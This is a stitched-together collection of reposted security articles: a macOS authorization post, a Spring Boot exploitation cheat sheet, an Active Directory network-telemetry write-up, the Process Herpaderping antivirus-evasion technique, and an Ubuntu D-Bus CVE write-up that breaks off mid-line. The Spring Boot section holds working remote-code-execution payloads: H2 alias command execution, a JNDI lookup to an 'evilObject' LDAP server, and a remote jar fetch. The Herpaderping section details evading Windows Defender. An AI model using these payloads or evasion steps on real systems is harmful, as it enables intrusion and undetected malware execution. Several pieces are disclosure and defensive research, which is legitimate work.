23:13:48.799285+0200 localhost authd[230]: [com.apple.Authorization:authd] engine 6437: running mechanism builtin:authenticate (1 of 4) Exploitation consideration I wanted to document two issues I run into during exploit development, and it took me long time to figure out what’s the problem, and why authorization fails. If we run a binary from a TCC protected location, like Desktop authorization will fail. This is because authd doesn’t have access to these places, and thus error out. Running the same application from /tmp/ or any other place which is not privacy protected will work. If we pass AuthorizationExternalForm via IPC to another process, we must wait till the target process consumes our request and performs authorization, as if the calling application exists too fast or uses AuthorizationFree on the original AuthorizationReference the AuthorizationExternalForm will be invalidated by the system, and thus authorization will fail. Wrap up I hope this post will be useful for others as well who wants to dive into the authorization framework on macOS. I put together a reference where someone can read even further, these are the posts I used as a resource, and I recommend them as further reading. The framework is open sourced by Apple, and it can be found in the Security pack. References Secure coding XPC services - Part 1 - Why EvenBetterAuthorization is not enough? (CVE-2019-20057) Authorization Concepts AuthorizationExecuteWithPrivileges Authorization Rights and Mavericks Authorization Rights available on macOS Demystifying root on macOS, Part 4 —The Authorization Database – Scripting OS X Managing the Authorization Database in OS X Mavericks | Der Flounder Unauthd Sniffing Authentication References on macOS The Story Behind CVE-2019-13013 Sursa: https://theevilbit.github.io/posts/macos_authorization/

Spring Boot Vulnerability (to be continued....) 0x01 Spring Boot Actuator Exposed Actuator endpoints allow you to monitor and interact with your Spring application. Spring Boot includes a number of built-in endpoints and you can also add your own. For example the health endpoint provides basic application health information. The following endpoints are available: /autoconfig - Displays an auto-configuration report showing all auto-configuration candidates and the reason why they 'were' or 'were not' applied. /beans - Displays a complete list of all the Spring beans in your application. /configprops - Displays a collated list of all @ConfigurationProperties. /dump - Performs a thread dump. /env - Exposes properties from Spring's ConfigurableEnvironment. /health - Shows application health information (a simple 'status' when accessed over an unauthenticated connection or full message details when authenticated). /info - Displays arbitrary application info. /metrics - Shows 'metrics' information for the current application. /mappings - Displays a collated list of all @RequestMapping paths. /shutdown - Allows the application to be gracefully shutdown (not enabled by default). /trace - Displays trace information (by default the last few HTTP requests). 0x02 Spring Boot RCE/XSS involving Jolokia 0x001 Jolokia RCE 0x002 Jolokia XSS fixed since Jolokia 1.5.0 (CVE-2018-1000129) pom.xml <dependency> <groupId>org.jolokia</groupId> <artifactId>jolokia-core</artifactId> <version>1.4.0</version> </dependency> When visiting URL http://127.0.0.1:10090/actuator/jolokia/read%3Csvg%20onload=alert('xss')%3E?mimeType=text/html 0x03 Spring Boot RCE involving H2 Database JNDI Injection pom.xml <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-data-jpa</artifactId> <version>2.2.6.RELEASE</version> </dependency> <dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <scope>runtime</scope> <version>1.4.2</version> </dependency> application.properties spring.h2.console.enabled=true spring.h2.console.settings.web-allow-others=true You can visit /actutor/env to make sure H2 Console is enabled. Sample1: Execute open -a Calculator Command 0x04 Spring Boot RCE involving H2 Database ALIAS Command Sample1: Execute id Command CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$; CALL EXECMD('id') Sample2: Execute open -a Calculator Command CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$; CALL EXECMD('open -a Calculator'); 0x05 Spring Boot RCE involving JMX enabled When visiting URL http://127.0.0.1:10090/actuator/env/spring.jmx.enabled, you will find JMX is enabled. Sample1: Execute open -a Calculator Command 0x06 Spring Boot RCE involving H2 Database 0x001 Remote Code Execution via spring.datasource.hikari.connection-test-query OR spring.datasource.hikari.connection-init-sql Step 1: POST /actuator/env HTTP/1.1 Host: 127.0.0.1:10090 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/json Content-Length: 280 {"sourceType": "com.zaxxer.hikari.HikariDataSource","name":"spring.datasource.hikari.connection-init-sql","value":"CREATE ALIAS EXECMD AS $$ String execmd(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd);return null; }$$;CALL EXECMD('open -a Calculator');"} STEP 2: POST /actuator/restart HTTP/1.1 0x002 JNDI Injection Step 1: POST /actuator/env HTTP/1.1 Host: 127.0.0.1:10090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Content-Type: application/json Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,fr;q=0.6 Connection: close Content-Length: 320 { "name": "spring.datasource.hikari.connection-init-sql", "value": "CREATE ALIAS jndi AS $$ import javax.naming.InitialContext;@CODE String jndi(String url) throws Exception {new InitialContext().lookup(url);return null;}$$;CALL jndi('ldap://127.0.0.1:1389/evilObject');" } STEP 2: POST /actuator/restart HTTP/1.1 0x003 URL Classloader Step 1: POST /actuator/env HTTP/1.1 Host: 127.0.0.1:10090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Content-Type: application/json Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7,fr;q=0.6 Connection: close Content-Length: 320 { "name": "spring.datasource.hikari.connection-init-sql", "value": "CREATE ALIAS remoteUrl AS $$ import java.net.*;@CODE String remoteUrl() throws Exception { Class.forName (\"pop\", true, new URLClassLoader(new URL[]{new URL(\"http://127.0.0.1:9001/pop.jar\")})).newInstance();return null;}$$;CALL remoteUrl()" } STEP 2: POST /actuator/restart HTTP/1.1 0x07 Spring Boot RCE involving MyBatis(CVE-2020-26945) Sursa: https://github.com/pyn3rd/Spring-Boot-Vulnerability

Active Directory (AD) Attacks & Enumeration at the Network Layer ANTON OVRUTSKY OCTOBER 22, 2020 NO COMMENTS Intro Defending an Active Directory environment, particularly a large one, is a daunting task. Telemetry generated by Active Directory itself as well as the hosts connected to it are critical components when building out detection logic. In order to provide comprehensive detection coverage, telemetry from both the network and host layers is required. With this in mind, the aim of this post is to examine some Active Directory attacks, including enumeration and exploitation, at the network layer. Our Tooling I tell whoever will listen about Moloch, an amazing tool to have in a defender’s toolbelt. Moloch has certain limitations, however, particularly when parsing out certain protocols, especially RPC and LDAP. Zeek parses these protocols, however, it does not have as powerful a user interface as Moloch. Luckily for us, a project called Malcolm uses the interface from Moloch, combined with the parsing power of Zeek, presenting the logs in an easy to query interface. Malcolm, like Moloch, is an incredibly powerful visibility and analysis tool for network traffic – I am only scratching the surface of its capability here, so I highly encourage you to check it out for yourself. The Setup For the purposes of this post, we will not be building a full-blown attack chain within an Active Directory environment but will rather look at some common tooling and techniques in order to get a sense of what these look like at the network layer, let’s start with Powerview. PowerView For the PowerView section, I’ll be referencing Will’s awesome PowerView tricks gist. Get-DomainGroup Let’s start with the Get-DomainGroup command, which grabs members of a group you specify, recursing upwards: We run the command, looking at the Domain Admins group, and we can see the results returned to us: Now let’s take a look at what this looks like on the network layer, looking at the LDAP protocol specifically, we can do this in Malcolm with the protocols == ldap query: We can see the entire network ‘conversation’ happening, with the source traffic in red on the left and the destination traffic on the right in blue. We can see the LDAP query being sent over the wire as well as the results being returned from the Domain Controller. Let’s look at another example. Get-DomainUser -SPN The Get-DomainUser -SPN command is self-explanatory and pulls user accounts with Service Principal Names set. In my case, I have a user named User1 that has an SPN set, and we can see these results returned back to us: Similar to the previous example, we can see the LDAP traffic being sent back and forth between our two hosts: Impacket-GetUserSPNs Let’s look at another example, using Impacket’s GetUserSPNs command. This time, the commands are running from a remote machine, outside the domain: We tell Malcolm to look at the source IP of our “attacking” machine as well as the Zeek log type of Kerberos: ip.src == 192.168.1.148 && zeek.logType == kerberos We can then use the “Connections” option to visually represent this traffic: We can see above that the line representing Ticket-Granting Service (TGS) ticket requests is thicker than the Authentication Server (AS) request, this is because the IP address 192.168.1.1.148, which is our attacking machine, requested more than one TGS, but only one AS. We can look at this Kerberoast attack in a different way by telling Malcolm to change the yellow Dst portion of the graphic to represent the Encryption Type field of our Kerberos requests, rather than Request Type: We see above that the line for rc4-hmac is thicker – this also confirms that a downgrade attack occurred, as the requested tickets were returned in RC4 rather than AES format. We can flex the power of the Moloch / Malcolm user interface by clicking on the Encryption Type field within the Moloch logs and choosing the “Export Unique Encryption Type with counts” option: This gives us the following, which illustrates how many Kerberos tickets were requested per encryption type: If we take a look at the MITRE ATT&CK page for Kerberoasting we can see the following description: Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). And the following defensive guidance: Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]) In this example, we used the same detection logic of logging TGS requests with RC4 encryption, however, we did so on the network, rather than the host layer. It’s always nice to have options as well as robust detection coverage! Grouper2 Grouper2 is a tool written by Mike Loss and is designed to find vulnerabilities and misconfigurations in Active Directory Group Policy. Let’s run Grouper2: And then use the following query in Malcom to look at the SMB traffic originating from the host on which Grouper2 was running, in my case 192.168.1.158: ip.src == 192.168.1.158 && zeek.service == smb If we take a look at the events, we can see our 192.168.1.158 host opening up and querying the various files that contain our domains’ Group Policy: This type of activity would most likely occur in a normal Active Directory environment, however, this layer of visibility provides an opportunity to baseline behavior: “Should this computer be reading X group policy?” and also provides a rich set of data that can be used during an incident response. rpcclient Now that we’ve looked at some LDAP, Kerberos, and SMB traffic, let’s take a look at what RPC enumeration looks like at the network layer. For this, I’ll be using rpcclient. After connecting to our domain, we run a simple enumprivs command to list the privileges that our account has: Now let’s take a look at the network layer for this activity: We can see from above that our source IP is our “attacker” machine and our destination IP is the Domain Controller. We can also see a call to the LsarEnumeratePrivileges RPC call, which corresponds to our enumprivs rpcclient command. Now let’s try a simple share enumeration, using the netshareenum command: Once again let’s flip the network traffic to see what this looks like: We can see above the call to the NetrShareEnumSticky RPC call, as well as a connection to the srvsvc pipe – we can, very gently, dip our toes into the Microsoft RPC documentation and here to get a better sense of what these do: An interesting RPC call indeed and perhaps useful to baseline what hosts are enumerating network shares. Let’s execute two more rpcclient commands, getdompwinfo, and enumdomgroups to enumerate the groups on the domain as well as the domains password requirements: Now let’s use the following query in Malcolm, where 192.168.1.148 is the IP from which rppclient was executed: ip.src == 192.168.1.148 && protocols == dce_rpc We can once again use Malcom’s / Moloch’s “Connections” view, changing the “Dst” to show the RPC Action to get a view of what RPC calls our “attacker” IP made: Here we can see the RPC calls used for share enumeration, privilege enumeration, password enumeration as well as group enumeration. Moloch and Malcolm’s powerful interface really shines here, presenting a flood of data in an easy and understandable chart. Sharphound Sharphound is a tool used for Active Directory data enumeration and collection, which is subsequently fed into BloodHound. SharpHound comes with a ton of different options for data collection in an Active Directory environment. This section is not meant to be a “how to detect SharpHound” tutorial. However, let’s examine some of the network-level telemetry generated when SharpHound is executed. In our case we will execute it with a -c switch of ‘all’ and will let SharpHound run: Now that our SharpHound collection has finished, let’s take a look what network-level RPC calls were made: We can then click on the “Action” column and export the RPC calls made into a list showing how many times each call occurred: With our results presented this way, we can gain a deeper understanding of what occurred under the hood of our SharpHound execution. We can see two calls to NetrSessionEnum and NetrWsktaUserEnum – this makes sense as I only had two workstations in my little lab and we can see that SharpHound is enumerating the workstations on the domain as well as gathering session information for those workstations: We can then use the Connections option in Moloch/Malcolm to get a birds-eye view of the RPC calls that were made by our SharpHound execution: Detection of enumeration activity is sometimes tricky, however, we at least have some data to work with at this point which we can baseline and compare to normal behavior in our Active Directory environments. Mimikatz Masterkeys Let’s switch gears a bit and look at the lsadump::backupkeys command from Mimikatz. This module allows for the retrieval of the domain-wide backup DPAPI key. You can read more about this command on the AD Security blog and another perspective on the HarmJ0y blog. Let’s execute our command: And take a look at the network traffic generated: The events observed above make sense, this command is interacting with the Local Security Authority (LSA) and we see a bunch of RPC calls starting with the Lsar prefix – the LsarRetrievePrivateData and LsarOpenPolicy2 calls look interesting: We can go ahead and search for these in the Mimikatz source code. We can see the code that uses LsarRetrievePrivateData And uses LsarOpenPolicy2 as well Once again this telemetry is not meant to “detect mimikatz” – but rather to provide valuable data for detection engineering and threat hunting efforts. Practitioners will find the data helpful for understanding what’s going on under the hood of the Active Directory environment and even potentially help in the troubleshooting of applications. Mimikatz RPC A perhaps lesser-known feature of Mimikatz is its ability to be controlled remotely through RPC. Didier Stevens provides a really great overview of this technique. We start our RPC Server: Using a client machine, we then connect to our listening RPC Server: On the server end, we can issue various commands, in my case I followed Didier’s example and executed coffee privilege::debug and lsadump::lsa /inject. On the client side, we can see these commands getting executed: Once again, let’s take a look at the network traffic generated. This time we see a few RPC calls that Zeek was unable to parse which are labeled as “unknown” – in addition to this we can see the NTLM authentication occurring over RPC as well as a call to ept_map Let’s dig into the unknown RPC calls a bit, if we open up the session information in the Moloch/Malcolm interface, we can see a GUID/UUID value. A quick search through the Mimikatz source code reveals that this UUID is used in the mimicom.idl which is used by Mimikatz for the RPC server/client functionality. We can then use the powerful querying capability of Malcolm and search for this unique UUID: zeek_dce_rpc.endpoint == *17fc11e9-c258-4b8d-8d07-2f4125156244* And our results are presented to us, with the only sessions containing this UUID being used for our Mimikatz RPC server/client testing, neat! Conclusion The aim of this post was to explore some telemetry that is generated at the network level when performing some common Active Directory attacks and enumeration. This type of visibility, when combined with comprehensive host-based telemetry provides defenders with a rich source of data from which to build detection and alerting logic. Links and References With a recent pull request to the Sigma project, Sigma is now able to handle generic rule conversions for Zeek logs, if you have Zeek logs flowing to ArcSight, Splunk or Elastic, take a look at this pull request: and corresponding Sigma rules: Mitre Bzar has some really useful Zeek detection logic mapped to ATT&CK categories.The following reference is a useful rpcclient refresher. I’m a huge fan of this post by Jared Atkinson on Capability Abstraction which really helped me frame my thinking for this post. Mimikatz RPC Server/Client reference by ADSecurity A Microsoft resource document providing more information regarding the ept_map RPC method. An amazing resource by Johnny Johnson looking at RPC telemetry at the host and network level. Idaho National Labs’ Malcolm – the powerful, easily deployable network traffic analysis tool suite for full packet capture artifacts (PCAP files) and Zeek logs referenced in the blog. Sursa: https://www.lares.com/blog/active-directory-ad-attacks-enumeration-at-the-network-layer/?

Process Herpaderping Process Herpaderping is a method of obscuring the intentions of a process by modifying the content on disk after the image has been mapped. This results in curious behavior by security products and the OS itself. Summary Generally, a security product takes action on process creation by registering a callback in the Windows Kernel (PsSetCreateProcessNotifyRoutineEx). At this point, a security product may inspect the file that was used to map the executable and determine if this process should be allowed to execute. This kernel callback is invoked when the initial thread is inserted, not when the process object is created. Because of this, an actor can create and map a process, modify the content of the file, then create the initial thread. A product that does inspection at the creation callback would see the modified content. Additionally, some products use an on-write scanning approach which consists of monitoring for file writes. A familiar optimization here is recording the file has been written to and defer the actual inspection until IRP_MJ_CLEANUP occurs (e.g. the file handle is closed). Thus, an actor using a write -> map -> modify -> execute -> close workflow will subvert on-write scanning that solely relies on inspection at IRP_MJ_CLEANUP. To abuse this convention, we first write a binary to a target file on disk. Then, we map an image of the target file and provide it to the OS to use for process creation. The OS kindly maps the original binary for us. Using the existing file handle, and before creating the initial thread, we modify the target file content to obscure or fake the file backing the image. Some time later, we create the initial thread to begin execution of the original binary. Finally, we will close the target file handle. Let’s walk through this step-by-step: Write target binary to disk, keeping the handle open. This is what will execute in memory. Map the file as an image section (NtCreateSection, SEC_IMAGE). Create the process object using the section handle (NtCreateProcessEx). Using the same target file handle, obscure the file on disk. Create the initial thread in the process (NtCreateThreadEx). At this point the process creation callback in the kernel will fire. The contents on disk do not match what was mapped. Inspection of the file at this point will result in incorrect attribution. Close the handle. IRP_MJ_CLEANUP will occur here. Since we’ve hidden the contents of what is executing, inspection at this point will result in incorrect attribution. plantuml Behavior You’ll see in the demo below, CMD.exe is used as the execution target. The first run overwrites the bytes on disk with a pattern. The second run overwrites CMD.exe with ProcessHacker.exe. The Herpaderping tool fixes up the binary to look as close to ProcessHacker.exe as possible, even retaining the original signature. Note the multiple executions of the same binary and how the process looks to the user compared to what is in the file on disk. Diving Deeper We’ve observed the behavior and some of this may be surprising. Let’s try to explain this behavior. Technical Deep Dive Background and Motivation When designing products for securing Windows platforms, many engineers in this field (myself included) have fallen on preconceived notions with respect to how the OS will handle data. In this scenario, some might expect the file on disk to remain “locked” when the process is created. You can’t delete the file. You can’t write to it. But you can rename it. Seen here, under the right conditions, you can in fact write to it. Remain vigilant on your assumptions, always question them, and do your research. The motivation for this research came about when discovering how to do analysis when a file is written. With prior background researching process Hollowing and Doppelganging, I had theorized this might be possible. The goal is to provide better security. You cannot create a better lock without first understanding how to break the old one. Similar Techniques Herpaderping is similar to Hollowing and Doppelganging however there are some key differences: Process Hollowing Process Hollowing involves modifying the mapped section before execution begins, which abstractly this looks like: map -> modify section -> execute. This workflow results in the intended execution flow of the Hollowed process diverging into unintended code. Doppelganging might be considered a form of Hollowing. However, Hollowing, in my opinion, is closer to injection in that Hollowing usually involves an explicit write to the already mapped code. This differs from Herpaderping where there are no modified sections. Process Doppelganging Process Doppelganging is closer to Herpaderping. Doppelganging abuses transacted file operations and generally involves these steps: transact -> write -> map -> rollback -> execute. In this workflow, the OS will create the image section and account for transactions, so the cached image section ends up being what you wrote to the transaction. The OS has patched this technique. Well, they patched the crash it caused. Maybe they consider this a “legal” use of a transaction. Thankfully, Windows Defender does catch the Doppelganging technique. Doppelganging differs from Herpaderping in that Herpaderping does not rely on transacted file operations. And Defender doesn’t catch Herpaderping. Comparison For reference, the generalized techniques: Type Technique Hollowing map -> modify section -> execute Doppelganging transact -> write -> map -> rollback -> execute Herpaderping write -> map -> modify -> execute -> close We can see the differences laid out here. While Herpaderping is arguably noisier than Doppelganging, in that the malicious bits do hit the disk, we’ve seen that security products are still incapable of detecting Herpaderping. Possible Solution There is not a clear fix here. It seems reasonable that preventing an image section from being mapped/cached when there is write access to the file should close the hole. However, that may or may not be a practical solution. Another option might be to flush the changes to the file through to the cached image section if it hasn’t yet been mapped into a process. However, since the map into the new process occurs at NtCreateProcess that is probably not a viable solution. From a detection standpoint, there is not a great way to identify the actual bits that got mapped, inspection at IRP_MJ_CLEANUP or a callback registered at PsSetCreateProcessNotifyRoutineEx results in incorrect attribution since the bits on disk have been changed, you would have to rebuild the file from the section that got created. It’s worth pointing out here there is a new callback in Windows 10 you may register for PsSetCreateProcessNotifyRoutineEx2 however this suffers from the same problem as the previous callback, it’s called out when the initial thread is executed, not when the process object is created. Microsoft did add PsSetCreateThreadNotifyRoutineEx which is called out when the initial thread is inserted if registered with PsCreateThreadNotifyNonSystem, opposed to when it is about to begin execution (as the old callback did). Extending PSCREATEPROCESSNOTIFYTYPE to be called out when the process object is created won’t help either, we’ve seen in the Diving Deeper section that the image section object is cached on the NtCreateSection call not NtCreateProcess. We can’t easily identify what got executed. We’re left with trying to detect the exploitive behavior by the actor, I’ll leave discovery of the behavior indicators as an exercise for the reader. Known Affected Platforms Below is a list of products and Windows OSes that have been tested as of (8/31/2020). Tests were carried out with a known malicious binary. Operating System Version Vulnerable Windows 7 Enterprise x86 6.1.7601 Yes Windows 10 Pro x64 10.0.18363.900 Yes Windows 10 Pro Insider Preview x64 10.0.20170.1000 Yes Windows 10 Pro Insider Preview x64 10.0.20201.1000 Yes Security Product Version Vulnerable Windows Defender AntiMalware Client 4.18.2006.10 Yes Windows Defender Engine 1.1.17200.2 Yes Windows Defender Antivirus 1.319.1127.0 Yes Windows Defender Antispyware 1.319.1127.0 Yes Windows Defender AntiMalware Client 4.18.2007.6 Yes Windows Defender Engine 1.1.17300.2 Yes Windows Defender Antivirus 1.319.1676.0 Yes Windows Defender Antispyware 1.319.1676.0 Yes Windows Defender AntiMalware Client 4.18.2007.8 Yes Windows Defender Engine 1.1.17400.5 Yes Windows Defender Antivirus 1.323.267.0 Yes Windows Defender Antispyware 1.323.267.0 Yes Responsible Disclosure This vulnerability was disclosed to the Microsoft Security Response Center (MSRC) on 7/17/2020 and a case was opened by MSRC on 7/22/2020. MSRC concluded their investigation on 8/25/2020 and determined the findings are valid but do not meet their bar for immediate servicing. At this time their case is closed, without resolution, and is marked for future review, with no timeline. We disagree on the severity of this bug; this was communicated to MSRC on 8/27/2020. There are similar vulnerabilities in this class (Hollowing and Doppelganging). The vulnerability is shown to defeat security features inherent to the OS (Windows Defender). The vulnerability allows an actor to gain execution of arbitrary code. The user is not notified of the execution of unintended code. The process information presented to the user does not accurately reflect what is executing. Facilities to accurately identify the process are not intuitive or incorrect, even from the kernel. Source This repo contains a tool for exercising the Herpaderping method of process obfuscation. Usage is as follows: Process Herpaderping Tool - Copyright (c) Johnny Shaw ProcessHerpaderping.exe SourceFile TargetFile [ReplacedWith] [Options...] Usage: SourceFile Source file to execute. TargetFile Target file to execute the source from. ReplacedWith File to replace the target with. Optional, default overwrites the binary with a pattern. -h,--help Prints tool usage. -d,--do-not-wait Does not wait for spawned process to exit, default waits. -l,--logging-mask number Specifies the logging mask, defaults to full logging. 0x1 Successes 0x2 Informational 0x4 Warnings 0x8 Errors 0x10 Contextual -q,--quiet Runs quietly, overrides logging mask, no title. -r,--random-obfuscation Uses random bytes rather than a pattern for file obfuscation. -e,--exclusive Target file is created with exclusive access and the handle is held open as long as possible. Without this option the handle has full share access and is closed as soon as possible. -u,--do-not-flush-file Does not flush file after overwrite. -c,--close-file-early Closes file before thread creation (before the process notify callback fires in the kernel). Not valid with "--exclusive" option. -k,--kill Terminates the spawned process regardless of success or failure, this is useful in some automation environments. Forces "--do-not-wait option. Cloning and Building The repo uses submodules, after cloning be sure to init and update the submodules. Projects files are targeted to Visual Studio 2019. git clone https://github.com/jxy-s/herpaderping.git cd .\herpaderping\ git submodule update --init --recursive MSBuild .\herpaderping.sln Credits The following are used without modification. Credits to their authors. Windows Implementation Libraries (WIL) A header-only C++ library created to make life easier for developers on Windows through readable type-safe C++ interfaces for common Windows coding patterns. Process Hacker Native API Headers Collection of Native API header files. Gathered from Microsoft header files and symbol files, as well as a lot of reverse engineering and guessing. Sursa: https://jxy-s.github.io/herpaderping/

A story of three CVE's in Ubuntu Desktop Vaisha Bernard - October 27, 2020 Introduction I had some time off and decided to hunt for some bugs in my Ubuntu Desktop installation. My target was going to be the D-Bus interface. D-Bus (Desktop-Bus) is an Inter-Process Communication (IPC) and remote procedure call (RPC) mechanism that allows communication between multiple processes running concurrently on the same machine. It is used in many Linux distributions nowadays. On Linux desktop environments we have a single system bus, used for communication between user processes and system processes, and for each logon session we have a session bus, for communication between processes in a single desktop session. My target was the system bus. System processes that open up an interface for communication from userland, that sounds like trouble! Getting around My first goal was understanding the syntax and feeling of the D-Bus. There is an excellent interactive tool called D-Feet to make life easier. There is a clear hierarchy in the D-Bus specification. Objects are processes that expose themselves on the D-Bus. An object can implement multiple interfaces and each interface can have multiple methods. D-Bus uses interfaces to provide a namespacing mechanism for methods. An interface also has Properties, which are typed variables that can often be read and sometimes also changed. D-Feet showed which Interfaces are implemented and which methods are available. In the background it uses the Introspect method of the org.freedesktop.DBus.Introspectable interface that is implemented by many objects to do just that. Apart from D-Feet, the most straightforward way to interact with the D-Bus is via the dbus-send shell command. For example the next command calls the ListNames method on the org.freedesktop.DBus Interface and generates the list that D-Feet shows on the left. dbus-send --system --print-reply \ --dest=org.freedesktop.DBus \ /org/freedesktop/DBus \ org.freedesktop.DBus.ListNames For me the most intuitive way to handle multiple interactive calls to D-Bus methods is the python-dbus module. It's easy to script any interaction with a D-Bus method. Many methods are protected with PolicyKit, to make sure the calling user has the right privileges to perform the action. You might have seen these popups, which are the result of a D-Bus method call that is protected by PolicyKit. I was most interested in vulnerabilities that anyone could trigger without authentication, so I focused on methods that were not protected with PolicyKit. Aptdaemon Information Disclosure (CVE-2020-15703) The first bug that I found involves aptdaemon. Once you introspect the org.apt.debian object with D-Feet, you will notice a new running process in your processlist. /usr/bin/python3 /usr/sbin/aptd So aptdaemon is written in python. I could dive into the code, but this time my laziness reached record levels and I just wanted to know what syscalls happened in the background, so I spawned an strace on the process. strace -s 65535 -f -p <PID> I started playing around with a couple of the methods and entering garbage. One method in particular which sounded interesting was the InstallFile method. It requires two arguments, a filepath of the package to install and a Boolean force. If you call the method, aptdaemon creates a D-Bus object called a transaction, which exposes new methods such as Simulate() and Run(). It also has several properties that are writable. Somehow we can simulate installing a .deb package file. I wrote a simple python script to experiment with that. import dbus bus = dbus.SystemBus() apt_dbus_object = bus.get_object("org.debian.apt", "/org/debian/apt") apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.debian.apt") # just use any valid .deb file trans = apt_dbus_interface.InstallFile("/var/cache/apt/archives/dbus_1.12.16-2ubuntu2.1_amd64.deb", False) apt_trans_dbus_object = bus.get_object("org.debian.apt", trans) apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.debian.apt.transaction") apt_trans_dbus_interface.Simulate() Well this does absolutely nothing. The Run() method which would actually install the .deb file requires authorization. But while playing around I noticed the locale property, which could be set as follows. properties_manager = dbus.Interface(apt_trans_dbus_interface, 'org.freedesktop.DBus.Properties') properties_manager.Set("org.debian.apt.transaction", "Locale", "AAAA") This results in the following error message. Traceback (most recent call last): File "/usr/lib/python3/dist-packages/defer/__init__.py", line 487, in _inline_callbacks result = gen.send(result) File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 1226, in _set_property self._set_locale(value) File "/usr/lib/python3/dist-packages/aptdaemon/core.py", line 826, in _set_locale (lang, encoding) = locale._parse_localename(str(locale_str)) File "/usr/lib/python3.8/locale.py", line 499, in _parse_localename raise ValueError('unknown locale: %s' % localename) ValueError: unknown locale: AAAA The _parse_localename method, upon other things mainly checks if there is a "." In the locale name. The following call succeeds. properties_manager.Set("org.debian.apt.transaction", "Locale", "AA.BB") But my eye caught something interesting here in the strace output. [pid 23275] stat("/usr/share/locale/AA/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory) I changed the value to "/tmp.BB", and voila. [pid 23275] stat("/tmp/LC_MESSAGES/aptdaemon.mo", 0x7ffe616b0740) = -1 ENOENT (No such file or directory) This looks like I can have it read any .mo locale file here. I spent a couple of hours reversing the .mo format and can now tell you all about the structure of the .po format which it is generated from, but I could not get it to do anything interesting. Then I realized I could make a symlink called /tmp/LC_MESSAGES/aptdaemon.mo and point it to any file on the filesystem. For example to "/root/.bashrc". ln -s /root/.bashrc /tmp/LC_MESSAGES/aptdaemon.mo That results in another error. OSError: [Errno 0] Bad magic number: '/tmp/LC_MESSAGES/aptdaemon.mo' But it discloses information that I'm not supposed to be able to know, the existence of any file on the filesystem, for example in /root, where an unprivileged user should not be able to look into. A very small bug, but a bug nonetheless. PackageKit Information Disclosure (CVE-2020-16121) I found a similar bug in PackageKit. After the whole ordeal with aptdaemon, this one popped up immediately. The org.freedesktop.PackageKit Interface on the /org/freedesktop/PackageKit object has a method CreateTransaction(). This creates a Transaction object which, among others, has the InstallFiles(), GetFilesLocal() and GetDetailsLocal() methods. All methods have a list of filepaths as their argument. Again, this allows us to determine the existence of any file on the filesystem, but this time if a file exists we also get an error message that discloses the MIME type. A simple python script demonstrates this. import dbus bus = dbus.SystemBus() apt_dbus_object = bus.get_object("org.freedesktop.PackageKit", "/org/freedesktop/PackageKit") apt_dbus_interface = dbus.Interface(apt_dbus_object, "org.freedesktop.PackageKit") trans = apt_dbus_interface.CreateTransaction() apt_trans_dbus_object = bus.get_object("org.freedesktop.PackageKit", trans) apt_trans_dbus_interface = dbus.Interface(apt_trans_dbus_object, "org.freedesktop.PackageKit.Transaction") apt_trans_dbus_interface.InstallFiles(0, ["/root/.bashrc"]) This results in the error message: MIME type text/plain not supported. Blueman Local Privilege Escalation or Denial of Service (CVE-2020-15238) This bug is a little more interesting. Playing around with the D-Bus methods of the org.blueman.Mechanism interface I noticed I was never asked for authorization. This was going to be an interesting target. The developer of the package later confirmed that there was an issue with the Debian package: It only recommends policykit-1 but blueman does not support "runtime-optional" Polkit-1 support. You have to decide during the build and as libpolkit-agent-1-dev is not a build dependency Polkit-1 support is always disabled. Thumbs up for the developer by the way, he jumped onto this bug immediately and pushed out a fix in no time, while also coordinating a release date between the Ubuntu and Debian security teams. The DhcpClient() method soon caught my attention. It requires a single string as argument. Let's check with strace what syscalls are sent in the background. I used this oneliner to bring up the daemon and attach an strace process to it without worrying too much about the short time it's alive or the PID. dbus-send --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.freedesktop.DBus.Introspectable.Introspect && \ strace -f -s 65535 -e execve -p \ $(pgrep -f blueman-mechanism) Then I fired off my first test. dbus-send --print-reply --system \ --dest=org.blueman.Mechanism \ /org/blueman/mechanism \ org.blueman.Mechanism.DhcpClient \ string:"AAAA" There is a lot of output from the strace process, but filtering on "execve" provided a very interesting observation. [pid 30096] execve("/usr/sbin/dhclient", ["/usr/sbin/dhclient", "-e", "IF_METRIC=100", "-1", "AAAA"], 0x7ffd6facb700 /* 4 vars */) = 0 [pid 30104] 